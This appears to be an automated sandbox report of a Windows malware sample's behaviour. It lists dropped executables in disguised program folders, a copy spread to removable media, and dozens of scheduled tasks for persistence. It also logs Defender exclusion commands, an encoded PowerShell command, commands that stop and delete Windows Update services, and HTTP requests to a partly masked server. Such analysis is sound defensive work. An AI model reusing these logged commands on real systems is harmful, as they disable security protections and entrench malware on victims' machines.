Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\lsml
- <SYSTEM32>\tasks\lsm
- <SYSTEM32>\tasks\dwm
- <SYSTEM32>\tasks\idlei
- <SYSTEM32>\tasks\idle
- <SYSTEM32>\tasks\wudfhost
- <SYSTEM32>\tasks\dwmd
- <SYSTEM32>\tasks\wudfhostw
- <SYSTEM32>\tasks\googleupdatetaskmachineqc
Creates the following files on removable media
- <Drive name for removable media>:\b3706b91902a5436a081473940047a55.exe
Modifies file system
Creates the following files
- %APPDATA%\conhost_fv.exe
- %APPDATA%\fv_fontreviewmonitordllrefsvc.exe
- %TEMP%\karma_fivem.exe
- C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\lsm.exe
- C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\101b941d020240
- C:\far2\plugins\drawline\idle.exe
- C:\far2\plugins\drawline\6ccacd8608530f
- %ProgramFiles(x86)%\pidgin\spellcheck\lib\enchant\dwm.exe
- %ProgramFiles(x86)%\pidgin\spellcheck\lib\enchant\6cb0b6c459d5d3
- C:\far2\fexcept\wudfhost.exe
- C:\far2\fexcept\480b7989c529f6
- %TEMP%\n96werhg0d
- %TEMP%\uxd7goi3i2.bat
- nul
- %ProgramFiles%\google\chrome\updater.exe
Sets the 'hidden' attribute to the following files
- <Drive name for removable media>:\b3706b91902a5436a081473940047a55.exe
Deletes the following files
- %TEMP%\n96werhg0d
Network activity
Connects to
- '18#.#20.229.5':80
- 'ip##fo.io':443
TCP
HTTP GET requests
- http://18#.#20.229.5/boot/u927/ApiDefaultdownloads.php?yd########################################################################################################################################...
- http://18#.#20.229.5/boot/u927/ApiDefaultdownloads.php?2r########################################################################################################################################...
Other
- 'ip##fo.io':443
UDP
- DNS ASK ip##fo.io
- 'localhost':123
Miscellaneous
Searches for the following windows
- ClassName: 'grcWindow' WindowName: ''
Creates and executes the following
- '%APPDATA%\conhost_fv.exe'
- '%APPDATA%\fv_fontreviewmonitordllrefsvc.exe'
- '%TEMP%\karma_fivem.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Far2\FExcept\WUDFHost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%APPDATA%\fv_fontreviewmonitordllrefsvc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Far2\Plugins\DrawLine\Idle.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles(x86)%\Pidgin\spellcheck\lib\enchant\dwm.exe'
- 'C:\far2\fexcept\wudfhost.exe'
- '%ProgramFiles%\google\chrome\updater.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQA...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\Uxd7GOi3I2.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlS...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"%ProgramFiles%\Google\Chrome\updater.exe\""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /run /tn "GoogleUpdateTaskMachineQC"' (with hidden window)
- '%ProgramFiles%\google\chrome\updater.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c CLS
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"%ProgramFiles%\Google\Chrome\updater.exe\""
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
- '<SYSTEM32>\icacls.exe' <SYSTEM32>\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
- '<SYSTEM32>\cmd.exe' /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
- '<SYSTEM32>\schtasks.exe' /run /tn "GoogleUpdateTaskMachineQC"
- '<SYSTEM32>\takeown.exe' /f <SYSTEM32>\WaaSMedicSvc.dll
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"%ProgramFiles%\Google\Chrome\updater.exe\""
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'%ProgramFiles(x86)%\Pidgin\spellcheck\lib\enchant\dwm.exe'" /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQA...
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\lsm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\Far2\Plugins\DrawLine\Idle.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'C:\Far2\Plugins\DrawLine\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\Far2\Plugins\DrawLine\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Pidgin\spellcheck\lib\enchant\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlS...
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'%ProgramFiles(x86)%\Pidgin\spellcheck\lib\enchant\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 9 /tr "'C:\Far2\FExcept\WUDFHost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHost" /sc ONLOGON /tr "'C:\Far2\FExcept\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 13 /tr "'C:\Far2\FExcept\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\lsm.exe'
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\Uxd7GOi3I2.bat"
- '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
